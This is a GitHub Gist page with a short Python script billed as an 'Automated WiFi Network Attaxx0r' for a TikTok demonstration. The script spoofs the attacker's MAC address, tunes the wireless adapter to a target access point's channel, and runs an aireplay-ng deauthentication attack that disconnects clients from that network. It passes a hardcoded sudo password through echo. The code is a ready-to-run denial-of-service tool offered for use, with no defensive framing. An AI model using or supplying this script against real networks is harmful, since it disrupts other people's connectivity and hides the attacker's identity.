Created
September 18, 2021 08:57
-
-
Save angeloped/ae8022cb6c4676ccbb44fe59a2207250 to your computer and use it in GitHub Desktop.
Automated WiFi Network Attaxx0r. For TikTok demonstration by @sherl0ck__
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Automated WiFi Network Attaxx0r. | |
# For TikTok demonstration by @sherl0ck__ | |
# usage: [sudo ] python shutd0wn.py <Target MAC AP> <Target AP Channel> <Interface> | |
# created: 9/18/21 | |
import time | |
import sys | |
import os | |
sudopass = "<enter sudo password>" | |
target = sys.argv[1] | |
channel = sys.argv[2] | |
iface = sys.argv[3] | |
t1me = 5 | |
cmds = [ | |
["[+] Printing attaxx0r device info....","echo '{0}' | sudo -S ifconfig {1}".format(sudopass, iface)], # attaxx0r device info | |
["[+] Turning off interface....","echo '{0}' | sudo -S ifconfig {1} down".format(sudopass, iface)], # turn off interface | |
["[+] Changing MAC address....","echo '{0}' | sudo -S macchanger -r {1}".format(sudopass, iface)], # change MAC address | |
["[+] Turning on interface....","echo '{0}' | sudo -S ifconfig {1} up".format(sudopass, iface)], # turn on interface | |
["[+] Printing attaxx0r device info....","echo '{0}' | sudo -S ifconfig {1}".format(sudopass, iface)], # attaxx0r device info | |
["[+] Setting adaptor channel to {0}....".format(channel),"echo '{0}' | sudo -S iwconfig {1} channel {2}".format(sudopass, iface, channel)], # set adaptor channel | |
["[+] Attacking Network!!","echo '{0}' | sudo -S aireplay-ng -0 {1} -a {2} {3}".format(sudopass, t1me, target, iface)], # 4ttacxx0r!!!! (5 secs default) | |
] | |
for title,cmd in cmds: | |
print(title) | |
os.system(cmd) | |
time.sleep(3) | |
print("Done.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment